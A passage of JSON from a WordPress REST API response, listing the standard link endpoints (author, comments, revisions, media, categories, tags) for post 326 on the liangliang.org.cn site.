ng.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=326"}],"version-history":[{"count":0,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/326\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=326"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=326"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=326"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}